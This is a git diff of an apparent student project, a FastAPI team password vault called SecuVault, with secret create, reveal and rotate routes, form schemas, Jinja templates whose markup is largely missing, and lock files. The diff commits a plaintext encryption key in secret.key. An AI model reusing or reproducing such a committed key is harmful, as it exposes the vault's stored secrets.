+@router.post("/secrets", response_class=HTMLResponse) +def create_secret( + request: Request, + name: str = Form(...), + value: str = Form(...), + team_id: int = Form(...), + conn=Depends(_get_db), +): + user = _get_current_user(request, conn) + if user is None: + return RedirectResponse(url="/login", status_code=302) + + try: + services.create_secret(user, team_id, name, value, SecretRepository(conn), crypto) + except AccessDeniedError as exc: + teams = TeamRepository(conn).find_by_user(user.id) + return templates.TemplateResponse( + request, + "secret_create.html", + {"user": user, "teams": teams, "error": str(exc)}, + status_code=403, + ) + return RedirectResponse(url="/secrets", status_code=302) + +@router.get("/secrets/{secret_id}", response_class=HTMLResponse) +def reveal_secret(request: Request, secret_id: int, conn=Depends(_get_db)): + user = _get_current_user(request, conn) + if user is None: + return RedirectResponse(url="/login", status_code=302) + + secret_repo = SecretRepository(conn) + try: + plaintext = services.reveal_secret(user, secret_id, secret_repo, crypto) + except SecretNotFoundError: + return templates.TemplateResponse( + request, + "error.html", + {"user": user, "status_code": 404, "message": "Secret introuvable."}, + status_code=404, + ) + except AccessDeniedError: + return templates.TemplateResponse( + request, + "error.html", + {"user": user, "status_code": 403, "message": "Acc\u00e8s refus\u00e9."}, + status_code=403, + ) + # Access validated \u2014 fetch the secret metadata for display + secret = secret_repo.find_by_id(secret_id) + return templates.TemplateResponse( + request, + "secret_detail.html", + {"user": user, "secret": secret, "plaintext": plaintext}, + ) + +@router.get("/secrets/{secret_id}/rotate", response_class=HTMLResponse) +def rotate_secret_form(request: Request, secret_id: int, conn=Depends(_get_db)): + user = _get_current_user(request, conn) + if user is None: + return RedirectResponse(url="/login", status_code=302) + + secret_repo = SecretRepository(conn) + secret = secret_repo.find_by_id(secret_id) + if secret is None: + return templates.TemplateResponse( + request, + "error.html", + {"user": user, "status_code": 404, "message": "Secret introuvable."}, + status_code=404, + ) + + try: + services.check_team_membership(user, secret.team_id) + except AccessDeniedError: + return templates.TemplateResponse( + request, + "error.html", + {"user": user, "status_code": 403, "message": "Acc\u00e8s refus\u00e9."}, + status_code=403, + ) + return templates.TemplateResponse( + request, + "secret_rotate.html", + {"user": user, "secret": secret, "error": None}, + ) + +@router.post("/secrets/{secret_id}/rotate", response_class=HTMLResponse) +def rotate_secret( + request: Request, + secret_id: int, + new_value: str = Form(...), + expected_version: int = Form(...), + conn=Depends(_get_db), +): + user = _get_current_user(request, conn) + if user is None: + return RedirectResponse(url="/login", status_code=302) + + secret_repo = SecretRepository(conn) + try: + services.rotate_secret(user, secret_id, new_value, expected_version, secret_repo, crypto) + except SecretNotFoundError: + return templates.TemplateResponse( + request, + "error.html", + {"user": user, "status_code": 404, "message": "Secret introuvable."}, + status_code=404, + ) + except AccessDeniedError: + return templates.TemplateResponse( + request, + "error.html", + {"user": user, "status_code": 403, "message": "Acc\u00e8s refus\u00e9."}, + status_code=403, + ) + except ConflictError as exc: + # Re-fetch fresh secret so the form shows the new version + secret = secret_repo.find_by_id(secret_id) + return templates.TemplateResponse( + request, + "secret_rotate.html", + {"user": user, "secret": secret, "error": str(exc)}, + status_code=409, + ) + return RedirectResponse(url="/secrets", status_code=302) \ No newline at end of file diff --git a/Semaine_08/secuvault/presentation/schemas.py b/Semaine_08/secuvault/presentation/schemas.py new file mode 100644 index 0000000..c026859 --- /dev/null +++ b/Semaine_08/secuvault/presentation/schemas.py @@ -0,0 +1,14 @@ +from pydantic import BaseModel, Field + +class LoginForm(BaseModel): + username: str = Field(min_length=1, max_length=64) + password: str = Field(min_length=1, max_length=256) + +class CreateSecretForm(BaseModel): + name: str = Field(min_length=1, max_length=256) + value: str = Field(min_length=1) + team_id: int + +class RotateSecretForm(BaseModel): + new_value: str = Field(min_length=1) + expected_version: int \ No newline at end of file diff --git a/Semaine_08/secuvault/presentation/templates/TEMPLATES.md b/Semaine_08/secuvault/presentation/templates/TEMPLATES.md new file mode 100644 index 0000000..eae99c1 --- /dev/null +++ b/Semaine_08/secuvault/presentation/templates/TEMPLATES.md @@ -0,0 +1,12 @@ +# Contexte + +Deux choses : +1 - J'ai fait la base avec le contenu de LivrExpress / ShopFlow +2 - Je connaissais un peu d'HTML +3 - ... mais putain ce que ça me gonfle comme langage (le balisage en général) + +Alors j'ai codé le minimum syndical pour que ça tourne et après j'ai fait un planificateur Claude Opus 4.6 et un agent Claude Sonnet 4.6 pour générer un template propre. + +C'est pas une instance Vault mais c'est déjà bien. + +J'assume pleinement mon usage de l'IA pour les parties où j'ai des lacunes mais où je sais contrôler la qualité du résultat. C'est aussi la réalité des juniors. Et des seniors aussi d'ailleurs. \ No newline at end of file diff --git a/Semaine_08/secuvault/presentation/templates/base.html b/Semaine_08/secuvault/presentation/templates/base.html new file mode 100644 index 0000000..84832ad --- /dev/null +++ b/Semaine_08/secuvault/presentation/templates/base.html @@ -0,0 +1,25 @@ + + + + + + {% block title %}SecuVault{% endblock %} + + + + +
+ {% block content %}{% endblock %} +
+ + diff --git a/Semaine_08/secuvault/presentation/templates/error.html b/Semaine_08/secuvault/presentation/templates/error.html new file mode 100644 index 0000000..f1ba77e --- /dev/null +++ b/Semaine_08/secuvault/presentation/templates/error.html @@ -0,0 +1,12 @@ +{% extends "base.html" %} +{% block title %}SecuVault - Erreur {{ status_code }}{% endblock %} + +{% block content %} +
+
+
{{ status_code }}
+

{{ message }}

+ ⬅️ Retour aux secrets +
+
+{% endblock %} diff --git a/Semaine_08/secuvault/presentation/templates/login.html b/Semaine_08/secuvault/presentation/templates/login.html new file mode 100644 index 0000000..38bc5bd --- /dev/null +++ b/Semaine_08/secuvault/presentation/templates/login.html @@ -0,0 +1,28 @@ +{% extends "base.html" %} +{% block title %}SecuVault - Connexion{% endblock %} + +{% block content %} +
+
+
+
+

Connexion

+ {% if error %} +
{{ error }}
+ {% endif %} +
+
+ + +
+
+ + +
+ +
+
+
+
+
+{% endblock %} diff --git a/Semaine_08/secuvault/presentation/templates/secret_create.html b/Semaine_08/secuvault/presentation/templates/secret_create.html new file mode 100644 index 0000000..baaec0c --- /dev/null +++ b/Semaine_08/secuvault/presentation/templates/secret_create.html @@ -0,0 +1,39 @@ +{% extends "base.html" %} +{% block title %}SecuVault - Nouveau secret{% endblock %} + +{% block content %} +
+
+
+
+

Créer un secret

+ {% if error %} +
{{ error }}
+ {% endif %} +
+
+ + +
+
+ + +
+
+ + +
+
+ + ⛔ Annuler +
+
+
+
+
+
+{% endblock %} diff --git a/Semaine_08/secuvault/presentation/templates/secret_detail.html b/Semaine_08/secuvault/presentation/templates/secret_detail.html new file mode 100644 index 0000000..3c4dc3a --- /dev/null +++ b/Semaine_08/secuvault/presentation/templates/secret_detail.html @@ -0,0 +1,24 @@ +{% extends "base.html" %} +{% block title %}SecuVault - {{ secret.name }}{% endblock %} + +{% block content %} +
+
+
+
+ {{ secret.name }} + v{{ secret.version }} +
+
+ +
{{ plaintext }}
+

Mis à jour le {{ secret.updated_at }}

+
+ +
+
+
+{% endblock %} diff --git a/Semaine_08/secuvault/presentation/templates/secret_rotate.html b/Semaine_08/secuvault/presentation/templates/secret_rotate.html new file mode 100644 index 0000000..a98d163 --- /dev/null +++ b/Semaine_08/secuvault/presentation/templates/secret_rotate.html @@ -0,0 +1,35 @@ +{% extends "base.html" %} +{% block title %}SecuVault - Rotation : {{ secret.name }}{% endblock %} + +{% block content %} +
+
+
+
+

Rotation du secret

+

+ {{ secret.name }} + v{{ secret.version }} +

+ {% if error %} +
+ {{ error }} +
+ {% endif %} +
+ {# The current version is embedded as a hidden field for optimistic-locking. #} + +
+ + +
+
+ + Annuler +
+
+
+
+
+
+{% endblock %} diff --git a/Semaine_08/secuvault/presentation/templates/secrets_list.html b/Semaine_08/secuvault/presentation/templates/secrets_list.html new file mode 100644 index 0000000..c20c4d1 --- /dev/null +++ b/Semaine_08/secuvault/presentation/templates/secrets_list.html @@ -0,0 +1,53 @@ +{% extends "base.html" %} +{% block title %}SecuVault - Mes secrets{% endblock %} + +{% block content %} +
+

Mes secrets

+ + Nouveau secret +
+ +{% if not secrets_by_team %} +
Vous n'appartenez à aucune équipe pour l'instant.
+{% endif %} + +{% for team, secrets in secrets_by_team.items() %} +
+
+ {{ team.name }} + {% if team.description %} + - {{ team.description }} + {% endif %} +
+
+ {% if secrets %} + + + + + + + + + + + {% for secret in secrets %} + + + + + + + {% endfor %} + +
NomDernière mise à jourVersionActions
{{ secret.name }}{{ secret.updated_at }}v{{ secret.version }} + Révéler + Rotation +
+ {% else %} +

Aucun secret dans cette équipe.

+ {% endif %} +
+
+{% endfor %} +{% endblock %} diff --git a/Semaine_08/secuvault/pyproject.toml b/Semaine_08/secuvault/pyproject.toml new file mode 100644 index 0000000..8163ccb --- /dev/null +++ b/Semaine_08/secuvault/pyproject.toml @@ -0,0 +1,17 @@ +[project] +name = "secuvault" +version = "0.1.0" +description = "Shared password vault" +readme = "README.md" +requires-python = ">=3.12" +dependencies = [ + "bcrypt>=5.0.0", + "cryptography>=46.0.7", + "fastapi>=0.135.3", + "itsdangerous>=2.2.0", + "jinja2>=3.1.6", + "python-dotenv>=1.0.0", + "python-multipart>=0.0.26", + "uvicorn>=0.44.0", +] + diff --git a/Semaine_08/secuvault/secret.key b/Semaine_08/secuvault/secret.key new file mode 100644 index 0000000..aeba64b --- /dev/null +++ b/Semaine_08/secuvault/secret.key @@ -0,0 +1 @@ +Z-hPZ_S8EzfZaxEF2PEfzZwismEfleoVOHl-RiYEgCo= \ No newline at end of file diff --git a/Semaine_08/secuvault/secuvault.db b/Semaine_08/secuvault/secuvault.db new file mode 100644 index 0000000..d631549 Binary files /dev/null and b/Semaine_08/secuvault/secuvault.db differ diff --git a/Semaine_08/secuvault/uv.lock b/Semaine_08/secuvault/uv.lock new file mode 100644 index 0000000..89e93da --- /dev/null +++ b/Semaine_08/secuvault/uv.lock @@ -0,0 +1,540 @@ +version = 1 +revision = 3 +requires-python = ">=3.12" + +[[package]] +name = "annotated-doc" +version = "0.0.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/57/ba/046ceea27344560984e26a590f90bc7f4a75b06701f653222458922b558c/annotated_doc-0.0.4.tar.gz", hash = "sha256:fbcda96e87e9c92ad167c2e53839e57503ecfda18804ea28102353485033faa4", size = 7288, upload-time = "2025-11-10T22:07:42.062Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1e/d3/26bf1008eb3d2daa8ef4cacc7f3bfdc11818d111f7e2d0201bc6e3b49d45/annotated_doc-0.0.4-py3-none-any.whl", hash = "sha256:571ac1dc6991c450b25a9c2d84a3705e2ae7a53467b5d111c24fa8baabbed320", size = 5303, upload-time = "2025-11-10T22:07:40.673Z" }, +] + +[[package]] +name = "annotated-types" +version = "0.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ee/67/531ea369ba64dcff5ec9c3402f9f51bf748cec26dde048a2f973a4eea7f5/annotated_types-0.7.0.tar.gz", hash = "sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89", size = 16081, upload-time = "2024-05-20T21:33:25.928Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/78/b6/6307fbef88d9b5ee7421e68d78a9f162e0da4900bc5f5793f6d3d0e34fb8/annotated_types-0.7.0-py3-none-any.whl", hash = "sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53", size = 13643, upload-time = "2024-05-20T21:33:24.1Z" }, +] + +[[package]] +name = "anyio" +version = "4.13.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "idna" }, + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/19/14/2c5dd9f512b66549ae92767a9c7b330ae88e1932ca57876909410251fe13/anyio-4.13.0.tar.gz", hash = "sha256:334b70e641fd2221c1505b3890c69882fe4a2df910cba14d97019b90b24439dc", size = 231622, upload-time = "2026-03-24T12:59:09.671Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/da/42/e921fccf5015463e32a3cf6ee7f980a6ed0f395ceeaa45060b61d86486c2/anyio-4.13.0-py3-none-any.whl", hash = "sha256:08b310f9e24a9594186fd75b4f73f4a4152069e3853f1ed8bfbf58369f4ad708", size = 114353, upload-time = "2026-03-24T12:59:08.246Z" }, +] + +[[package]] +name = "bcrypt" +version = "5.0.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d4/36/3329e2518d70ad8e2e5817d5a4cac6bba05a47767ec416c7d020a965f408/bcrypt-5.0.0.tar.gz", hash = "sha256:f748f7c2d6fd375cc93d3fba7ef4a9e3a092421b8dbf34d8d4dc06be9492dfdd", size = 25386, upload-time = "2025-09-25T19:50:47.829Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/13/85/3e65e01985fddf25b64ca67275bb5bdb4040bd1a53b66d355c6c37c8a680/bcrypt-5.0.0-cp313-cp313t-macosx_10_12_universal2.whl", hash = "sha256:f3c08197f3039bec79cee59a606d62b96b16669cff3949f21e74796b6e3cd2be", size = 481806, upload-time = "2025-09-25T19:49:05.102Z" }, + { url = "https://files.pythonhosted.org/packages/44/dc/01eb79f12b177017a726cbf78330eb0eb442fae0e7b3dfd84ea2849552f3/bcrypt-5.0.0-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:200af71bc25f22006f4069060c88ed36f8aa4ff7f53e67ff04d2ab3f1e79a5b2", size = 268626, upload-time = "2025-09-25T19:49:06.723Z" }, + { url = "https://files.pythonhosted.org/packages/8c/cf/e82388ad5959c40d6afd94fb4743cc077129d45b952d46bdc3180310e2df/bcrypt-5.0.0-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:baade0a5657654c2984468efb7d6c110db87ea63ef5a4b54732e7e337253e44f", size = 271853, upload-time = "2025-09-25T19:49:08.028Z" }, + { url = "https://files.pythonhosted.org/packages/ec/86/7134b9dae7cf0efa85671651341f6afa695857fae172615e960fb6a466fa/bcrypt-5.0.0-cp313-cp313t-manylinux_2_28_aarch64.whl", hash = "sha256:c58b56cdfb03202b3bcc9fd8daee8e8e9b6d7e3163aa97c631dfcfcc24d36c86", size = 269793, upload-time = "2025-09-25T19:49:09.727Z" }, + { url = "https://files.pythonhosted.org/packages/cc/82/6296688ac1b9e503d034e7d0614d56e80c5d1a08402ff856a4549cb59207/bcrypt-5.0.0-cp313-cp313t-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:4bfd2a34de661f34d0bda43c3e4e79df586e4716ef401fe31ea39d69d581ef23", size = 289930, upload-time = "2025-09-25T19:49:11.204Z" }, + { url = "https://files.pythonhosted.org/packages/d1/18/884a44aa47f2a3b88dd09bc05a1e40b57878ecd111d17e5bba6f09f8bb77/bcrypt-5.0.0-cp313-cp313t-manylinux_2_28_x86_64.whl", hash = "sha256:ed2e1365e31fc73f1825fa830f1c8f8917ca1b3ca6185773b349c20fd606cec2", size = 272194, upload-time = "2025-09-25T19:49:12.524Z" }, + { url = "https://files.pythonhosted.org/packages/0e/8f/371a3ab33c6982070b674f1788e05b656cfbf5685894acbfef0c65483a59/bcrypt-5.0.0-cp313-cp313t-manylinux_2_34_aarch64.whl", hash = "sha256:83e787d7a84dbbfba6f250dd7a5efd689e935f03dd83b0f919d39349e1f23f83", size = 269381, upload-time = "2025-09-25T19:49:14.308Z" }, + { url = "https://files.pythonhosted.org/packages/b1/34/7e4e6abb7a8778db6422e88b1f06eb07c47682313997ee8a8f9352e5a6f1/bcrypt-5.0.0-cp313-cp313t-manylinux_2_34_x86_64.whl", hash = "sha256:137c5156524328a24b9fac1cb5db0ba618bc97d11970b39184c1d87dc4bf1746", size = 271750, upload-time = "2025-09-25T19:49:15.584Z" }, + { url = "https://files.pythonhosted.org/packages/c0/1b/54f416be2499bd72123c70d98d36c6cd61a4e33d9b89562c22481c81bb30/bcrypt-5.0.0-cp313-cp313t-musllinux_1_1_aarch64.whl", hash = "sha256:38cac74101777a6a7d3b3e3cfefa57089b5ada650dce2baf0cbdd9d65db22a9e", size = 303757, upload-time = "2025-09-25T19:49:17.244Z" }, + { url = "https://files.pythonhosted.org/packages/13/62/062c24c7bcf9d2826a1a843d0d605c65a755bc98002923d01fd61270705a/bcrypt-5.0.0-cp313-cp313t-musllinux_1_1_x86_64.whl", hash = "sha256:d8d65b564ec849643d9f7ea05c6d9f0cd7ca23bdd4ac0c2dbef1104ab504543d", size = 306740, upload-time = "2025-09-25T19:49:18.693Z" }, + { url = "https://files.pythonhosted.org/packages/d5/c8/1fdbfc8c0f20875b6b4020f3c7dc447b8de60aa0be5faaf009d24242aec9/bcrypt-5.0.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:741449132f64b3524e95cd30e5cd3343006ce146088f074f31ab26b94e6c75ba", size = 334197, upload-time = "2025-09-25T19:49:20.523Z" }, + { url = "https://files.pythonhosted.org/packages/a6/c1/8b84545382d75bef226fbc6588af0f7b7d095f7cd6a670b42a86243183cd/bcrypt-5.0.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:212139484ab3207b1f0c00633d3be92fef3c5f0af17cad155679d03ff2ee1e41", size = 352974, upload-time = "2025-09-25T19:49:22.254Z" }, + { url = "https://files.pythonhosted.org/packages/10/a6/ffb49d4254ed085e62e3e5dd05982b4393e32fe1e49bb1130186617c29cd/bcrypt-5.0.0-cp313-cp313t-win32.whl", hash = "sha256:9d52ed507c2488eddd6a95bccee4e808d3234fa78dd370e24bac65a21212b861", size = 148498, upload-time = "2025-09-25T19:49:24.134Z" }, + { url = "https://files.pythonhosted.org/packages/48/a9/259559edc85258b6d5fc5471a62a3299a6aa37a6611a169756bf4689323c/bcrypt-5.0.0-cp313-cp313t-win_amd64.whl", hash = "sha256:f6984a24db30548fd39a44360532898c33528b74aedf81c26cf29c51ee47057e", size = 145853, upload-time = "2025-09-25T19:49:25.702Z" }, + { url = "https://files.pythonhosted.org/packages/2d/df/9714173403c7e8b245acf8e4be8876aac64a209d1b392af457c79e60492e/bcrypt-5.0.0-cp313-cp313t-win_arm64.whl", hash = "sha256:9fffdb387abe6aa775af36ef16f55e318dcda4194ddbf82007a6f21da29de8f5", size = 139626, upload-time = "2025-09-25T19:49:26.928Z" }, + { url = "https://files.pythonhosted.org/packages/f8/14/c18006f91816606a4abe294ccc5d1e6f0e42304df5a33710e9e8e95416e1/bcrypt-5.0.0-cp314-cp314t-macosx_10_12_universal2.whl", hash = "sha256:4870a52610537037adb382444fefd3706d96d663ac44cbb2f37e3919dca3d7ef", size = 481862, upload-time = "2025-09-25T19:49:28.365Z" }, + { url = "https://files.pythonhosted.org/packages/67/49/dd074d831f00e589537e07a0725cf0e220d1f0d5d8e85ad5bbff251c45aa/bcrypt-5.0.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:48f753100931605686f74e27a7b49238122aa761a9aefe9373265b8b7aa43ea4", size = 268544, upload-time = "2025-09-25T19:49:30.39Z" }, + { url = "https://files.pythonhosted.org/packages/f5/91/50ccba088b8c474545b034a1424d05195d9fcbaaf802ab8bfe2be5a4e0d7/bcrypt-5.0.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:f70aadb7a809305226daedf75d90379c397b094755a710d7014b8b117df1ebbf", size = 271787, upload-time = "2025-09-25T19:49:32.144Z" }, + { url = "https://files.pythonhosted.org/packages/aa/e7/d7dba133e02abcda3b52087a7eea8c0d4f64d3e593b4fffc10c31b7061f3/bcrypt-5.0.0-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:744d3c6b164caa658adcb72cb8cc9ad9b4b75c7db507ab4bc2480474a51989da", size = 269753, upload-time = "2025-09-25T19:49:33.885Z" }, + { url = "https://files.pythonhosted.org/packages/33/fc/5b145673c4b8d01018307b5c2c1fc87a6f5a436f0ad56607aee389de8ee3/bcrypt-5.0.0-cp314-cp314t-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a28bc05039bdf3289d757f49d616ab3efe8cf40d8e8001ccdd621cd4f98f4fc9", size = 289587, upload-time = "2025-09-25T19:49:35.144Z" }, + { url = "https://files.pythonhosted.org/packages/27/d7/1ff22703ec6d4f90e62f1a5654b8867ef96bafb8e8102c2288333e1a6ca6/bcrypt-5.0.0-cp314-cp314t-manylinux_2_28_x86_64.whl", hash = "sha256:7f277a4b3390ab4bebe597800a90da0edae882c6196d3038a73adf446c4f969f", size = 272178, upload-time = "2025-09-25T19:49:36.793Z" }, + { url = "https://files.pythonhosted.org/packages/c8/88/815b6d558a1e4d40ece04a2f84865b0fef233513bd85fd0e40c294272d62/bcrypt-5.0.0-cp314-cp314t-manylinux_2_34_aarch64.whl", hash = "sha256:79cfa161eda8d2ddf29acad370356b47f02387153b11d46042e93a0a95127493", size = 269295, upload-time = "2025-09-25T19:49:38.164Z" }, + { url = "https://files.pythonhosted.org/packages/51/8c/e0db387c79ab4931fc89827d37608c31cc57b6edc08ccd2386139028dc0d/bcrypt-5.0.0-cp314-cp314t-manylinux_2_34_x86_64.whl", hash = "sha256:a5393eae5722bcef046a990b84dff02b954904c36a194f6cfc817d7dca6c6f0b", size = 271700, upload-time = "2025-09-25T19:49:39.917Z" }, + { url = "https://files.pythonhosted.org/packages/06/83/1570edddd150f572dbe9fc00f6203a89fc7d4226821f67328a85c330f239/bcrypt-5.0.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:7f4c94dec1b5ab5d522750cb059bb9409ea8872d4494fd152b53cca99f1ddd8c", size = 334034, upload-time = "2025-09-25T19:49:41.227Z" }, + { url = "https://files.pythonhosted.org/packages/c9/f2/ea64e51a65e56ae7a8a4ec236c2bfbdd4b23008abd50ac33fbb2d1d15424/bcrypt-5.0.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:0cae4cb350934dfd74c020525eeae0a5f79257e8a201c0c176f4b84fdbf2a4b4", size = 352766, upload-time = "2025-09-25T19:49:43.08Z" }, + { url = "https://files.pythonhosted.org/packages/d7/d4/1a388d21ee66876f27d1a1f41287897d0c0f1712ef97d395d708ba93004c/bcrypt-5.0.0-cp314-cp314t-win32.whl", hash = "sha256:b17366316c654e1ad0306a6858e189fc835eca39f7eb2cafd6aaca8ce0c40a2e", size = 152449, upload-time = "2025-09-25T19:49:44.971Z" }, + { url = "https://files.pythonhosted.org/packages/3f/61/3291c2243ae0229e5bca5d19f4032cecad5dfb05a2557169d3a69dc0ba91/bcrypt-5.0.0-cp314-cp314t-win_amd64.whl", hash = "sha256:92864f54fb48b4c718fc92a32825d0e42265a627f956bc0361fe869f1adc3e7d", size = 149310, upload-time = "2025-09-25T19:49:46.162Z" }, + { url = "https://files.pythonhosted.org/packages/3e/89/4b01c52ae0c1a681d4021e5dd3e45b111a8fb47254a274fa9a378d8d834b/bcrypt-5.0.0-cp314-cp314t-win_arm64.whl", hash = "sha256:dd19cf5184a90c873009244586396a6a884d591a5323f0e8a5922560718d4993", size = 143761, upload-time = "2025-09-25T19:49:47.345Z" }, + { url = "https://files.pythonhosted.org/packages/84/29/6237f151fbfe295fe3e074ecc6d44228faa1e842a81f6d34a02937ee1736/bcrypt-5.0.0-cp38-abi3-macosx_10_12_universal2.whl", hash = "sha256:fc746432b951e92b58317af8e0ca746efe93e66555f1b40888865ef5bf56446b", size = 494553, upload-time = "2025-09-25T19:49:49.006Z" }, + { url = "https://files.pythonhosted.org/packages/45/b6/4c1205dde5e464ea3bd88e8742e19f899c16fa8916fb8510a851fae985b5/bcrypt-5.0.0-cp38-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:c2388ca94ffee269b6038d48747f4ce8df0ffbea43f31abfa18ac72f0218effb", size = 275009, upload-time = "2025-09-25T19:49:50.581Z" }, + { url = "https://files.pythonhosted.org/packages/3b/71/427945e6ead72ccffe77894b2655b695ccf14ae1866cd977e185d606dd2f/bcrypt-5.0.0-cp38-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:560ddb6ec730386e7b3b26b8b4c88197aaed924430e7b74666a586ac997249ef", size = 278029, upload-time = "2025-09-25T19:49:52.533Z" }, + { url = "https://files.pythonhosted.org/packages/17/72/c344825e3b83c5389a369c8a8e58ffe1480b8a699f46c127c34580c4666b/bcrypt-5.0.0-cp38-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:d79e5c65dcc9af213594d6f7f1fa2c98ad3fc10431e7aa53c176b441943efbdd", size = 275907, upload-time = "2025-09-25T19:49:54.709Z" }, + { url = "https://files.pythonhosted.org/packages/0b/7e/d4e47d2df1641a36d1212e5c0514f5291e1a956a7749f1e595c07a972038/bcrypt-5.0.0-cp38-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:2b732e7d388fa22d48920baa267ba5d97cca38070b69c0e2d37087b381c681fd", size = 296500, upload-time = "2025-09-25T19:49:56.013Z" }, + { url = "https://files.pythonhosted.org/packages/0f/c3/0ae57a68be2039287ec28bc463b82e4b8dc23f9d12c0be331f4782e19108/bcrypt-5.0.0-cp38-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:0c8e093ea2532601a6f686edbc2c6b2ec24131ff5c52f7610dd64fa4553b5464", size = 278412, upload-time = "2025-09-25T19:49:57.356Z" }, + { url = "https://files.pythonhosted.org/packages/45/2b/77424511adb11e6a99e3a00dcc7745034bee89036ad7d7e255a7e47be7d8/bcrypt-5.0.0-cp38-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:5b1589f4839a0899c146e8892efe320c0fa096568abd9b95593efac50a87cb75", size = 275486, upload-time = "2025-09-25T19:49:59.116Z" }, + { url = "https://files.pythonhosted.org/packages/43/0a/405c753f6158e0f3f14b00b462d8bca31296f7ecfc8fc8bc7919c0c7d73a/bcrypt-5.0.0-cp38-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:89042e61b5e808b67daf24a434d89bab164d4de1746b37a8d173b6b14f3db9ff", size = 277940, upload-time = "2025-09-25T19:50:00.869Z" }, + { url = "https://files.pythonhosted.org/packages/62/83/b3efc285d4aadc1fa83db385ec64dcfa1707e890eb42f03b127d66ac1b7b/bcrypt-5.0.0-cp38-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:e3cf5b2560c7b5a142286f69bde914494b6d8f901aaa71e453078388a50881c4", size = 310776, upload-time = "2025-09-25T19:50:02.393Z" }, + { url = "https://files.pythonhosted.org/packages/95/7d/47ee337dacecde6d234890fe929936cb03ebc4c3a7460854bbd9c97780b8/bcrypt-5.0.0-cp38-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:f632fd56fc4e61564f78b46a2269153122db34988e78b6be8b32d28507b7eaeb", size = 312922, upload-time = "2025-09-25T19:50:04.232Z" }, + { url = "https://files.pythonhosted.org/packages/d6/3a/43d494dfb728f55f4e1cf8fd435d50c16a2d75493225b54c8d06122523c6/bcrypt-5.0.0-cp38-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:801cad5ccb6b87d1b430f183269b94c24f248dddbbc5c1f78b6ed231743e001c", size = 341367, upload-time = "2025-09-25T19:50:05.559Z" }, + { url = "https://files.pythonhosted.org/packages/55/ab/a0727a4547e383e2e22a630e0f908113db37904f58719dc48d4622139b5c/bcrypt-5.0.0-cp38-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:3cf67a804fc66fc217e6914a5635000259fbbbb12e78a99488e4d5ba445a71eb", size = 359187, upload-time = "2025-09-25T19:50:06.916Z" }, + { url = "https://files.pythonhosted.org/packages/1b/bb/461f352fdca663524b4643d8b09e8435b4990f17fbf4fea6bc2a90aa0cc7/bcrypt-5.0.0-cp38-abi3-win32.whl", hash = "sha256:3abeb543874b2c0524ff40c57a4e14e5d3a66ff33fb423529c88f180fd756538", size = 153752, upload-time = "2025-09-25T19:50:08.515Z" }, + { url = "https://files.pythonhosted.org/packages/41/aa/4190e60921927b7056820291f56fc57d00d04757c8b316b2d3c0d1d6da2c/bcrypt-5.0.0-cp38-abi3-win_amd64.whl", hash = "sha256:35a77ec55b541e5e583eb3436ffbbf53b0ffa1fa16ca6782279daf95d146dcd9", size = 150881, upload-time = "2025-09-25T19:50:09.742Z" }, + { url = "https://files.pythonhosted.org/packages/54/12/cd77221719d0b39ac0b55dbd39358db1cd1246e0282e104366ebbfb8266a/bcrypt-5.0.0-cp38-abi3-win_arm64.whl", hash = "sha256:cde08734f12c6a4e28dc6755cd11d3bdfea608d93d958fffbe95a7026ebe4980", size = 144931, upload-time = "2025-09-25T19:50:11.016Z" }, + { url = "https://files.pythonhosted.org/packages/5d/ba/2af136406e1c3839aea9ecadc2f6be2bcd1eff255bd451dd39bcf302c47a/bcrypt-5.0.0-cp39-abi3-macosx_10_12_universal2.whl", hash = "sha256:0c418ca99fd47e9c59a301744d63328f17798b5947b0f791e9af3c1c499c2d0a", size = 495313, upload-time = "2025-09-25T19:50:12.309Z" }, + { url = "https://files.pythonhosted.org/packages/ac/ee/2f4985dbad090ace5ad1f7dd8ff94477fe089b5fab2040bd784a3d5f187b/bcrypt-5.0.0-cp39-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:ddb4e1500f6efdd402218ffe34d040a1196c072e07929b9820f363a1fd1f4191", size = 275290, upload-time = "2025-09-25T19:50:13.673Z" }, + { url = "https://files.pythonhosted.org/packages/e4/6e/b77ade812672d15cf50842e167eead80ac3514f3beacac8902915417f8b7/bcrypt-5.0.0-cp39-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:7aeef54b60ceddb6f30ee3db090351ecf0d40ec6e2abf41430997407a46d2254", size = 278253, 